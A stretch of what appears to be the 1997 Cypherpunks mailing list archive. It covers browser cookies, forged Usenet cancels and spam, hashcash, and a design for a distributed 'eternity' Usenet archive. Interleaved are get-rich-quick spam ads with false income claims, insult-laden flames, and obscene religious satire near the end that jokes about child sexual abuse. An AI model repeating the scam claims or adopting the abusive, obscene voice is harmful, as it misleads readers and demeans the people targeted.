3. Disable cookies.

There's also a checkbox labled:

"Warn me for accepting a cookie."

I've been fairly unhappy with this version - the cookie management 
and the "Personal Toolbar" (user specified buttons for frequently 
visited sites) are the only new features that seem useful. It tends
to crash frequently, and the usenet news (aka "Collabra Discussion
Groups") seems to be broken (some of the earlier versions had a 
fairly useful newsreader). It's also a disk hog.

Note: This is a beta version.

Peter Trei
trei at process.com

PS: I have it set on 'disable cookies'.

DISCLAIMER: The above is my personal opinion only, and not 
neccesarily representative of my employer.

From dformosa at st.nepean.uws.edu.au  Fri Aug  8 06:50:17 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 8 Aug 1997 21:50:17 +0800
Subject: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> Why do people try to flood newsgroups with shit?

I can see a number of resons

1) For profet (pron4porn ect)
2) To prevent discution that thay do not like (Sientology, the poatry
feastivil.)
3) To the amusument of there small minds (trollers ect)
4) By accedent (ARRM, other spews)
5) Out of shear madness  (Dr Rouger Rabbit)

[...]

> Examples from the Net.Scum rogue collection: Scott Kellog from Sematech
> falsely accuses various people of "spamming" his newsgroup, but hasn't
> been caught forging cancels yet.

But lieing is free speach isn't it? 

As long as he is not forging cancels I don't see anything wrong with the
little troll having some fun.

>  On the other hand Bob Curtis has taken
> over alt.smokers.cigars and forges cancels for articles that merely
> question his "ownership" of the newsgroup. Do read - it's very enlightening.

IRC Bob Curtis was sent away with his tail between his legs.

> They argue that according to Hardin, Usenet would be
> used more "efficiently" if every newsgroup had an "owner"

I don't see anywhere that being suggested.  Most peaple suggest that
Usenet would work better if peaple stopped abuseing it.

I don't trust the newsgroup care peaple any further then I can kick them.
In fact I have been encourgaing them to stop.

[...]

> The good news is that newsgroup floods don't really hurt anyone except
> the egos of the assholes who claim to "own' the affected newsgroups.

And the newsevers and the regular readers.

[...]

> > Here we aggry, porn4pron and others will still make a proffet from
> > spamming.

[...]

> I like the idea of encouraging news readers to send e-cash (possibly via
> anon remailers) to the posters whose writings they like and would like to
> see more of.

A local bank (to me anyway) offers e-cash.  I'll see how I can contrabue
to makeing the usenet a better place.

[...]

> And my response is:
> why not just killfile the idiots, or why not choose to not select
> their crap for reading - it's easily identifiable.

Its not realy.  All you get is a war where your spamer becomes more
sofistercated in there spaming to avoid the filters.

> Do you remember all the talk about "intelligent internet agents" who were
> supposed to look for stuff we're interested in

I belave this is the idear behind  Mr Hayes' newsreader.

[...]

> > I have attempted to do so in the past,  and will attempt to do so again.
> 
> There's some interesting discussion going on there in addition to my xposts.

I have again requested entery.  No responce yet.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From dformosa at st.nepean.uws.edu.au  Fri Aug  8 07:08:31 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 8 Aug 1997 22:08:31 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa}  writes:
>
> > Dose threats from a multynatnatil corpration count?  Dose living in
> > Austrlia count?
> 
> Evidently these haven't made you into a staunch opponent of censorship.

Just because I do not copy your more rabid tacktics dose not mean that I
am anyless an opponent of censorship.  I fight it in my own way, as well
all must do.

[...]

> Tim Skirvin presents these "newbies" with a false view of Usenet as a
> unified front of news admins who have all reached consensus that free
> speech is evil and are now fighting the evil spammers.

There is a strong aggreyment amounst most admins for the policy of spam
canceling if there wasn't all hell would have broken out sooner.

> > This is interesting,  proof please.
> 
> Check out Chris Lewis's Net.Scum page at http://www.netscum.net/lewisc0.html.
> Find "Edward Gerk" - one of the people who quoted Chris Lewis and whose
> articles Chris Lewis canceled for "copyright violations".

I check it out,  there is a slight diffrence you can see from the staments
that he had maid that it was in addtion to him being in excess of BI.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From paulmerrill at acm.org  Fri Aug  8 07:15:55 1997
From: paulmerrill at acm.org (Paul H. Merrill)
Date: Fri, 8 Aug 1997 22:15:55 +0800
Subject: Query on cookies
In-Reply-To: 
Message-ID: <33EB4EB4.7ADC@acm.org>

Dr.Dimitri Vulis KOTM wrote:
> 
> Declan McCullagh  writes:
> 
> > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > which I'm told features four cookie settings. One rejects "third party
> > cookies."
> 
> Blessed are those who believe.
> 
And for those who don't believe there is always Read Only for
Cookies.txt.

PHM

From dformosa at st.nepean.uws.edu.au  Fri Aug  8 07:29:41 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 8 Aug 1997 22:29:41 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <39q2ae27w165w@bwalk.dm.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa}  writes:
> 
> > I don't think Mr Lewis' algeded activerties with childeren have any
> > validity to the argument.  Calling him a 'Pedophile' or any other name is
> > not effective in changing my option about this mattor.
> 
> "Chris Lewis" is a common name.

But every body in this context know who you are talking about.  How many
other Chris Lewises are involved in spam canceling.  Even if that was
unstafactory you could of appened his name with his email address wich is
uniqe.

> "Pedophile Chris Lewis" serves to identify

It also helps discreadit you.  I know that you are a resonable and sane
person.  And many of your arguments are valid but others don't know you
thay well and makeing comments like the above can harm your postion.

> > As yet I have seen only the one, could you provide these other examples
> > where Chris Lewis has perposly canceled posts that he dosn't like.

[...]

> I said, there were dozens of examples of cancel-forgers who claim to be
> cancelling "spam" (i.e. multi-posts),

Oh sorry I missparsed what you meant.  I fully appologise for any harm
done.

[...]

> > It seems to me more in the range of hours or days, esp in the case of
> > uucp sites wich don't connect often.
> 
> This was the case many years ago.  These days, a spam propagates pretty
> much everywhere because the cancels catch up with it.

I would wonder how we could test artical propergation times,  anyone with
some stats.

[...]

> > There _is_ I'm talking about present tence.  Any anty spammer who dosn't
> > follow the convention is going to be stopped or losse there account (eg
> > David Richards).
> 
> David Richards is the sysop of the Ripco BBS in Chicago.

My bots say he is not issueing any cancels.  Unless he has discoved a way
to hide.  He was recently whining about how the nasty cabal stopped him
from canceling.

[...]

> > And yes if thay set the reply-to: feild of the message to me I do consider
> > it my post and cancelble from me.
> 
> To hell with cancels, but you should be able to issue a retraction nocem.

Yes I should (and I will).  Still working on that darn bot.

[...]

> One of
> the complainers wrote from a work account - I tried to get him fired and
> apparently succeeded :-) :-) :-)

I thourt you where against plug pulling?

[...]

> > The creadit card securaty system is so fundermently flawed as to be
> > the equiverlent of sticking a large sign on your forhead marked "ROB
> > ME"
> 
> That's right, except in the U.S. various laws protect the consumer.

Since when have laws stopped crimminals?  Systems should be set up so that
thay can't be abused reather then inposing half assed laws ontop of a
basicly broken system.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From nospam-seesignature at ceddec.com  Fri Aug  8 08:21:59 1997
From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com)
Date: Fri, 8 Aug 1997 23:21:59 +0800
Subject: this could happen to remailers (was Re: Whining for 'Accountability')
In-Reply-To: <199708081140.MAA00231@server.test.net>
Message-ID: <97Aug8.111031edt.32257@brickwall.ceddec.com>

From nospam-seesignature at ceddec.com  Fri Aug  8 08:24:09 1997
From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com)
Date: Fri, 8 Aug 1997 23:24:09 +0800
Subject: Third party rating systems are good for society
In-Reply-To: 
Message-ID: <97Aug8.110003edt.32257@brickwall.ceddec.com>

From 48267539 at usa.net  Fri Aug  8 23:29:43 1997
From: 48267539 at usa.net (48267539 at usa.net)
Date: Fri, 8 Aug 1997 23:29:43 -0700 (PDT)
Subject: $300 PER DAY IN 5 WEEKS!!
Message-ID: <4756089120792879.GP493285@via-netcom3.net>

For the ULTIMATE in moneymaking software, go to:

http://www.mkt-america.com/user/matt2/

This is a FREE program you can download directly from
our web site.

THIS  WILL MAKE YOU A MILLIONAIRE THIS YEAR!!!

===>  Just send people to your FREE webpage we give
          you and get $$ in the mail.

It's been three weeks, and I'm making $300 PER DAY!!

From kent at songbird.com  Fri Aug  8 09:10:59 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 9 Aug 1997 00:10:59 +0800
Subject: spam as DOS
In-Reply-To: 
Message-ID: <19970808083427.33732@bywater.songbird.com>

On Fri, Aug 08, 1997 at 01:38:25PM +0200, Anonymous wrote:
> > > How about if it is an employee of yours, using your computer
> > > equipment, that sent the message, in explict contradition to your
> > > companies stated policy?
> > 
> > Use a retraction server (David's project)
> 
> I wonder if there is a problem of inconsistent levels in this debate...
> 
> At one level, many people on this list are in favour of infrastructure
> such as Usenet and the Web carrying all information without filtering with
> respect to content, to avoid censorship, oppression and so on.
> 
> At another level, almost everybody has personal preferences as to what
> they consider worthwhile information, what they want to read, what they
> want their children/employees to read, and what they want their
> privately-owned hardware to be used to carry.
> 
> At the content-free level, cancels are information just like anything
> else, merely a stream of octets.  By definition, they _can't_ be morally
> wrong at that amoral level where we talk only about whether
> store-and-forward works properly or not.  Cancels, "forged" or otherwise
> are just a tool, just bytes.
> 
> Within a particular value system, you might agree or disagree with a
> particular cancel, or with the idea in general.  It's easy to configure a
> news server or reader to conform to your preferences, just people who hate
> spam are free to ignore it.  At this level, you can make judgements as to
> which uses of that tool are justifiable.  (Cancels by sysadmins,
> anti-spammers, spammers, system owners, governments, parents, copyright
> lawyers or nobody at all.)

Very good point.

The problem exists at both levels, however.  At the "content-free" 
level the equivalent of spam is a flooding denial of service attack.  

But thinking about it at the "content free" level puts the issues in a
much better focus, for me.  You can note the following:

	1) at a "content-free" level filters, by definition simply
	don't work.  [They don't really work for spam, either, of 
	course.] 

	2) the issue is fundamentally bandwidth consumption [with spam
	the bandwidth is human attention bandwidth]

	3) it's a damn hard problem, and no good solution exists

	4) there is an analog to e-postage in QOS routing, but the
	problem of flooding is still not solved.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From nospam-seesignature at ceddec.com  Fri Aug  8 10:21:02 1997
From: nospam-seesignature at ceddec.com (nospam-seesignature at ceddec.com)
Date: Sat, 9 Aug 1997 01:21:02 +0800
Subject: anti-spam law implies laws against remailers? (was Re: bulk postage fine)
In-Reply-To: <199708080956.KAA01839@server.test.net>
Message-ID: <97Aug8.131019edt.32257@brickwall.ceddec.com>

On Fri, 8 Aug 1997, Adam Back wrote:

> > Remailers are just middlemen in a delivery process.
> 
> I hope you're right.
> 
> I still think laws against spam are the wrong approach, even if the
> courts declare remailers as delivery mechanisms only.
> 
> 	"Write code, not Laws."
> 
> (Btw who's quote is that?  I like it and wanted to quote it in an
> article on Eternity.)
> 
> Re spam problems and writing code and not laws, hashcash was my best
> attempt:
> 
> 	http://www.dcs.ex.ac.uk/~aba/hashcash/
> 
> However coding is not the only problem, the other is getting people to
> use stuff.  Advertising, subscribing to appropriate newsgroups, going
> to IETF meetings, deployment wins, but stuff dies due to little
> investment in advocacy.  I haven't got the energy or resources to

I think you never answered the fundamental question:

But to what advantage is it for *ME* to use hashcash?

Saying that it is neat, patriotic, pious, or any other adjective won't get
my anonymous mail through any faster unless you can create a cartel of
remailers that expidite hashcashed mail, or use some type of new remailer
that others don't have and build hashcash into the distribution. 

You still have the problem that a large organization can buy large
computers just to do hashcash - look for networkable hashcash generators
if it becomes popular.

If it doesn't solve an immediate problem, it is similar to advocating
solar energy when it is more expensive and/or cumbersome than fossil
fuels.  If/when enough remailers are clogged, hashcash is likely to be
adopted, but it is difficult to sell something when others offer the same
thing for free.

> I wrote the eternity service implementation 3 months ago, released
> source code: no interest.  (Bar a few email messages saying "cool").
> No demonstration system was the problem.
> 
> Mike Duvos provided a demonstration system last week when I reposted
> the announce due to his discussing similar ideas, and poof: 4 eternity
> servers, wired article, another request to write an article for some
> magazine, offers to give talks at US universities.  Wew.

Having interesting content draws interest, and proposing a method is far
from doing a prototype (questions like "are newsgroups stored long
enough?" and "will the cgi script work properly?" are only answered by
a working implementation, and a few of the eternity servers I tried
returned nothing from the links, but are probably fixed).

The legal problems still need to be resolved.  As long as no copyrighted
material appears I think things will be fine, but when MSwhatever appears,
someone is going to say the eternity server is like an illegal cable
descrambler or make up something very similar to ban them since they
aren't merely forwarding the content from alt.anonymous.messages - if
encryption is an envelope, the eternity server opens it.

Otherwise, you could simply post the plaintext to an alt group.  If that
doesn't happen now (why?), then adding an encryptor and decryptor isn't
going to change it, otherwise simply post the encrypted text, and the
passphrase in the same message, or the encrypted text, the secret key,
etc.  Except that the URL interface makes access more convienient.

--- reply to tzeruch - at - ceddec - dot - com ---

From randerso at ece.eng.wayne.edu  Fri Aug  8 10:21:10 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sat, 9 Aug 1997 01:21:10 +0800
Subject: Death of the North American Crypto archive?
In-Reply-To: 
Message-ID: 

On Fri, 8 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> > It is economics. Can anyone suggest an alternate host that might provide room
> > for a few hundred megabytes of ftp access for free (or nearly free)? Can
> > someone else in North American mirror all of that data, quickly, before the
> > site shuts down?
> 
> If it's under 650MB, I can fit it all on 1 CD...

If I knew where the site was, I could probably temporarily store it
somewhere until a site was foudn..

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------

From dlv at bwalk.dm.com  Fri Aug  8 10:33:02 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 9 Aug 1997 01:33:02 +0800
Subject: Query on cookies
In-Reply-To: <33EB4EB4.7ADC@acm.org>
Message-ID: 

"Paul H. Merrill"  writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Declan McCullagh  writes:
> > 
> > > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > > which I'm told features four cookie settings. One rejects "third party
> > > cookies."
> > 
> > Blessed are those who believe.
> > 
> And for those who don't believe there is always Read Only for
> Cookies.txt.

This won't save cookies to disk, but won't they be around for the duration
of one session?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From aba at dcs.ex.ac.uk  Fri Aug  8 10:54:46 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 9 Aug 1997 01:54:46 +0800
Subject: a decentralised dejanews
Message-ID: <199708081640.RAA00985@server.test.net>

As you'll know if you read some of the previous eternity verbiage I've
generated over the last few days, the design is evolving as ideas are
bounced around.

To recap briefly:

  The eternity implementation at the moment is performing the function
  of a cache of USENET, which also `reformats' messages to extract and
  deliver the content as web documents.

  The cache has no replacement policy.  Planned replacement policies
  where least accessed documents, and/or the document accompanied by
  the smallest ecash payment.

Obvious problem:

  The cache will fill up and material will be discarded when the
  eternity document store grows too large for one machine to cache.

Solution:

  My last thoughts on how to fix this was to have collaboration
  between the eternity servers: they ask each for documents they
  don't have.  They act like a distributed raid file server with
  redundancy.

  Clearly with the "least accessed" replacement policy they'll all
  likely cache similar material, and documents will still fall off the
  cache.

  Ecash payment for cacheing might work reasonably well, if you buy as
  much redundancy as you wish by including cash for several servers.

  Or perhaps a random cache replacment policy is the simplest to keep
  even spread of availability of documents.

  k of n secret sharing could be used at some overhead so that no one
  site is responsible for serving a given document.

  However it is fairly complex to design and implement such a system
  which can provide full underdisturbed service with nodes dynamically
  leaving and joining, and it is also difficult to protect fully
  against denial of service attacks.

Recap on old idea of using dejanews and altavista

  You will recall that earlier discussions talked about using dejanews
  or altavista as archives to fetch documents from.  I rejected this
  initial idea because altavista and dejanews take steps to reduce
  their disk space usage, by stripping out UU and radix-64 encoded
  documents.  Now we can fool them easily enough by waging a running
  battle of increasingly sophisticated textual stego on our side vs
  playing catch up with cleverer eternity document spotters on their
  part.  We might even win long term if we public key encrypted the
  documents for specific eternity servers.  Kind of messy.  Old
  content will be disappearing if they go back and filter out old with
  the new filters.

  However is another important reason not to use altavista or dejanews:
  it's not decentralised.  If something sufficiently hot gets
  published they'll both be taken off line long enough to figure out
  how to disable access to eternity.  Even if they can't do it
  ultimately because of sufficiently advanced public key text
  steganography, it'll disrupt the service.

Viewing the situation more modularly:

  The eternity service with a distributed raid file server formed from
  the respective caches has one problem: of acceptability.  Each
  server is actually holding eternity material, it tries to get away
  with this by claiming that it is a cache.  However each server is
  serving three potentially separable functions:

    - document cache

    - node in a distributed news archival service, but only for
      messages which look like eternity articles

    - a view on the database to allow it to be viewed interactively as
      web documents (fetching and translating decoding eternity
      documents to serve as web pages)

  The first function -- a document cache could probably just as well
  be served by a standard proxy cache.  Not a big issue, it's easy
  either way.

  The second function makes it hard to claim you are `just cacheing
  USENET' -- you're also creating a distributed archive of a
  very particular subset of it.

  And the third function, viewing the database, is somewhat like a
  specialised search engine.  The search engine functionality is 100%
  replicatable at practically zero storage overhead, and pretty good
  as a non-censorable element of the system.  100% redundancy of
  service each node has nothing that can't be replaced. 

A distributed deja-news replacement

  So after separating the functionality it becomes apparent that we
  could have a another model.  Actually try to start a distributed
  deja-news replacement, an complete eternal record of _everything_
  that _ever_ gets posted to news.  Dejanews is kind of doing that,
  except that it's not complete -- they are stripping out uuencoded
  files, etc.

  Also this would be distributed, and harder to coerce.

  So what are the storage requirements?  What does dejanews have in
  their machine room?  (Huge raid server?  How many Gigs?).

  I'm wondering if 1000 academic nodes, small and large ISP nodes, and
  indivduals each contributing 1Gb each could out perform deja-news.
  That'd be 1Tb.  How long would 1Tb last at the being consumed at a
  rate of a full USENET feed?  As disks get cheaper, next two years or
  so, people can upgrade disks to 10Gb disks or whatever is cheap at
  the time.

  You would want some redundancy, more than redundancy than dejanews
  needs in their raid fileserver, because nodes may come and go, and
  the number of nodes could fluctuate.

On top of distributed news archive, build an eternity service

  So with the eternal news archive, you now have everything you need
  to easily build an eternity server.

How practical is this?

  How much interest is there likely to be in creating a full USENET
  archive as a distributed net based effort.  It's clearly got vastly
  larger storage requirments than storing the full set of eternity
  articles posted to USENET.  However it has wider uses, and has lots
  of innocuous reasons to exist.  I guess it's quite an interesting
  project in it's own right.  You could start with just some
  newsgroups, and build up as a way to boot strap it.  But it may be
  harder to generate enough interest to deploy this than to deploy
  enough eternity servers to do build a distributed archive of just
  eternity articles.

How soon could it happen?

  Who knows.  What do people reckon the interest would be in a
  distributed complete USENET archive for it's own sake.  For purposes
  of the archive cancels would not be applied.  Indeed archive the
  cancels too, and the control messages for everyone to see for
  perpetuity who did and said what.

Best way forward?

  Perhaps it will be more realistic to build a distributed archive for
  eternity documents only first.  If it is designed as a separate service,
  then it could be the same software to do either, just restrict it to
  alt.anonymous.messages, or just for alt.anonymous.messages passing a
  filter program.

Comments?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <33EB8DA7.71C8@acm.org>

Dr.Dimitri Vulis KOTM wrote:
> 
> "Paul H. Merrill"  writes:
> 
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Declan McCullagh  writes:
> > >
> > > > I believe this is what the folks at Netscape tried to eliminate in 4.0,
> > > > which I'm told features four cookie settings. One rejects "third party
> > > > cookies."
> > >
> > > Blessed are those who believe.
> > >
> > And for those who don't believe there is always Read Only for
> > Cookies.txt.
> 
> This won't save cookies to disk, but won't they be around for the duration
> of one session?
> 
True, true, but the belief level needed is low and the hysterical data
aspects are gone even if you are still tracking mud around from the
"current" walkabout.

PHM

From admin at CyberSpaceTechnologies.com  Fri Aug  8 12:14:41 1997
From: admin at CyberSpaceTechnologies.com (David D.W. Downey)
Date: Sat, 9 Aug 1997 03:14:41 +0800
Subject: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EB9D22.166F80B5@cyberspacetechnologies.com>

You know, you are just about the biggest idiot I have ever had the
displeasure of reading. For one, the largest religion in the US right
now *is* in fact judeo-christian. The largest is Roman Catholic with
Pentacostal Protestant following right behind. Next, this country was
founded on christian beliefs, or have you failed to read the words of
the constitution of the US. Considering the apparent ignorance you have
displayed thus far about the makeup of the US, I would venture to say
that you probably have not read it. Next, you attack christians for
trying to control the content made available on the internet. At least
the site ratings plan is better than alot of other plans I have seen.
Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
the spread of trash that *most* humans would want out of of the reach of
their children? I have not seen you *once* offer a straightforward clear
cut plan to efficiently handle *any* issue placed for discussion on this
listserv. I have seen you do nothing but slam, belittle, and degrade
others and their beliefs and ideas. You do this under the unimpressive
tag of "TruthMonger". If anything, you are anything but a TruthMonger.
When you can come up with a plan that even *remotely* seems like a
logically thought out, planned, and intelligent proposal on how to
handle the issues presented everyday on the internet that affect the
computing industry balanced with a concern for the children, then I will
listen. (And yes, I do agree that the parents of the children have an
obligation to monitor the content they are exposed to. It's called
responsible parenting which unfortunately is not a well practiced
ideology. And to take the wind out of your sales, I have 2 children and
as a parent I limit them to what is appropriate to their ages.) Until
such time as you can fulfill the obligations to us, the adult computing
population, and our offspring, the children (just in case your fuddled
mind does not know what they are), I suggest you rest those busy little
fingers of yours and listen to the underlying theme of the issues before
us. Until then, HateMonger, I have one suggestion for you..... Shut Up!

From SmartBiz at NevWest.com  Sat Aug  9 03:28:31 1997
From: SmartBiz at NevWest.com (SmartBiz at NevWest.com)
Date: Sat, 9 Aug 1997 03:28:31 -0700 (PDT)
Subject: EARN $2,000-5,000/Week Part Time
Message-ID: <199708091020.GAA19886@mail.clark.net>

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From nobody at REPLAY.COM  Fri Aug  8 13:04:41 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 04:04:41 +0800
Subject: Comuter Hillbillies
Message-ID: <199708081937.VAA27238@basement.replay.com>

>From don at basisinc.com Wed Aug  6 16:06 PDT 1997
MIME-Version: 1.0
To: gomez at basisinc.com, danu at basisinc.com, pat at basisinc.com,
        jheim at prologic.com
Subject: [Fwd: [Fwd: Computer Hillbillies... 
X-Priority: 3 (Normal)
Content-Transfer-Encoding: 7bit (CoE)

The Computer Hillbillies
Come and listen to a story 'bout a man named Jed,
A poor college kid, barely kept his family fed,
But then one day he was talking to a recruiter,
Who said, "they pay big bucks if ya work on a computer..."

Windows, that is... PC's... Workstations...

Well, the first thing ya know ol' Jed's an Engineer.
The kinfolk said "Jed, move away from here".
They said "California is the place ya oughta be",
So he bought some donuts and he moved to Silicon Valley...

Intel, that is... Pentium ... big amusement park...

On his first day at work, they stuck him in a cube.
Fed him more donuts and sat him at a tube.
They said "your project's late, but we know just what to do.
Instead of 40 hours, we'll work you 52!"

OT, that is... unpaid... mandatory...

The weeks rolled by and things were looking bad.
Schedules started slipping and some managers were mad.
They called another meeting and decided on a fix.
The answer was simple... "We'll work him sixty-six!"

Tired, that is... stressed out... no social life...

Months turned to years and his hair was turning grey.
Jed worked very hard while his life slipped away.
Waiting to retire when he turned 64,
Instead he got a call and escorted out the door.

Laid off, that is... de-briefed... unemployed...

Now the moral of the story is listen to what you're told,
Companies will use you and discard you when you're old.
So gather up your friends and start your own firm,
Beat the competition, watch the bosses squirm.

Millionaires, that is... Bill Gates... Steve Jobs...

Y'all come back now... ya hear'

From enoch at zipcon.net  Fri Aug  8 14:19:15 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sat, 9 Aug 1997 05:19:15 +0800
Subject: The BIG Lie (Jesus Confesses)
In-Reply-To: <33EB9D22.166F80B5@cyberspacetechnologies.com>
Message-ID: <19970808210806.3667.qmail@zipcon.net>

> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading. For one, the largest religion in the US right
> now *is* in fact judeo-christian.

You know, I've never viewed the Christians as the problem.  The real
problem is a shortage of lions. 

Clearly we need to start a Cypherpunks Emergency Lion Breeding program
immediately. 

-LunchMonger

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

From toto at sk.sympatico.ca  Fri Aug  8 14:47:54 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 9 Aug 1997 05:47:54 +0800
Subject: News Flash! "Lighting Bolt Strikes CypherPunks Mailing List Post!" / Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EB869B.498B@sk.sympatico.ca>

::
Anon-To: cypherpunks at toad.com

David D.W. Downey wrote: 
> You know, you are just about the biggest idiot I have ever had the
> displeasure of reading.

  To tell the truth, I'm really embarassed. It's not bad enough that
the TruthMailer was hit by lightning and deleted my references to
Tim C. May's Vernacular Translation of the Bible (in a shoddy attempt
to throw the emnity caused by my post in his direction), but I have
sunk to such a low level of reputation capital that I am being looked
down on by someone whose cocaine habit caused him to do such evil 
things that he changed his name from Morton Jr. to David D.W.

  I won't even try to pretend that I can answer your objections to my
post, since I am just a "drunken voice, barfing in the wilderness."
  However, there is one who will come "after" me (hopefully, not with a
gun), who I am merely "preparing the way" for. He also came "before"
me (which you can verify by checking the archives).
  He is the one who turned the CypherPunks away from the electronically
graven image of PGP and taught us to be paranoid in spirit. He taught
us that, although we are Phil's chosen people, we must wander in the
algorithmic desert for 40 bytes before we enter the Private Land.
  He was accused by the ASCII-art priests. He was crucified on the 
cross of censorship, and was deleted, but he arose after three weeks 
of posts  by "something called a Toto" to redeem the list members from
the sins they committed in calling for censorship and for the death 
of the list.

  He forgives those of us on the list who manage to dodge his eternal
rapid-fire, even though he makes fun of us by saying, "My father's
house has many Mansons...and too many fucking Mongers."
  After his list res-erection, his disciples' posts have spread his
words far and wide, in a new, distributed list known as "The New
Testicle."
 {"In the beginning, was the Turd..."
  "Beware of politicians fucking people in sheeple's clothing..."
  "The Revelation of Timothy C. May, which Zimmerman gave unto him,
  to show unto the newbies things which must shortly come to pass
  after introduction of the Clipper chip..." }

    Since lightning never strikes twice in the same place, I will repost
the message as "The _Really_ Big Lie," with a self-rating of FUD.
  If you hated the remailed sequel, you will despise the original.

Jesus H. Fucking ChristMonger

From toto at sk.sympatico.ca  Fri Aug  8 14:59:14 1997
From: toto at sk.sympatico.ca (Toto)
Date: Sat, 9 Aug 1997 05:59:14 +0800
Subject: The _Really_ Big Lie!
Message-ID: <33EB8A5E.7661@sk.sympatico.ca>

::
Anon-To: too_drunk_to_use_a_remailer at shit!.exposed!

[From the "I Have Too Much 'Time, Inc.' On My Hands, So This Must Be 
 _Official_ News" Web site.]

  I couldn't help but notice that the supposed pillars of the religious
community, as well as their oh-so-decent-and-righteous followers, tell
such widespread, whoppingly big lies about the motivations behind their
public actions, as well as about their future intentions, that the true
source of corruption in the religious community must undoubtedly come
from "higher up" in the chain of commandments.

  For example, those who are concerned about their children accessing
obscene and satanic material on the InterNet might be expected to
supervise their children, as well as acquiring the InterNet tools that
are available for limiting their children's access to things which the
parents find objectionable. You would also expect them to seek out
information on sites that met standards that they found acceptable for
their children to access.
  In short, if their interests truly lay in censoring the information
their children access, you think they would do exactly that--control
and censor their children's activities on, and access to, the InterNet.

  I couldn't help but notice that, instead, they want to control the
activities and access of everyone who uses the InterNet. I find it hard
to believe that these people can claim to have the intellect to form
valid beliefs about religious and moral issues, yet not be intelligent
enough to understand the options available to them.
  This leads me to suspect that they are, in reality, two-faced liars,
particularly since impartial observers can predict the oppressive and
censorous results which are usually the exact opposite of what they
claim to be their intentions.

Patient: "Doctor, it hurts when I do _this_."
Doctor: "Then don't _do_ that."

   If those calling for control and censorship are truly worried about
their children, you would expect then to teach their children not to
"do that," and to not make available to them things which will allow 
them to "do that" if they have raised their children to be disobedient
and/or irresponsible.
  Instead, they seem to be taking the moral "high ground," as if under
the impression that they are moral "doctors" charged with diagnosing
others as having diseased morals, even if the others don't hurt when
they "do that."

Problem: Little Johnny wants to visit Paul Bradley's "Jesus Loves the
  Little Children From Behind" web site.
Solution: Don't let him do that.

Problem: Little Johnny might visit the Duncan Frissel "Pictures of 
  Jesus" site and find pictures of Jesus buggering the little children.
Solution: Don't let Little Johnny access sites that you don't know to
  be acceptable according to your standards.

  Now, was the foregoing too hard for those reading this to understand?
  If not, then what could be the reason for those promoting contol and
censoring of other people for suggesting the following option...
Problem: Little Johnny might access something on the InterNet which does
  not meet standards that his parent's find acceptable.
Solution: Require everyone on the InterNet to only engage in activities
  which meet the standards of Little Johnny's parents, starting by 
  putting the onus on everyone on the InterNet to "voluntarily" rate
  their website according to the standards of Little Johnny's parents.

Question:"When was the last time a doctor you didn't know made a 'house
  call' to check on your health, forced his way in when you objected,
  and gave you a prostrate exam against your wishes?"
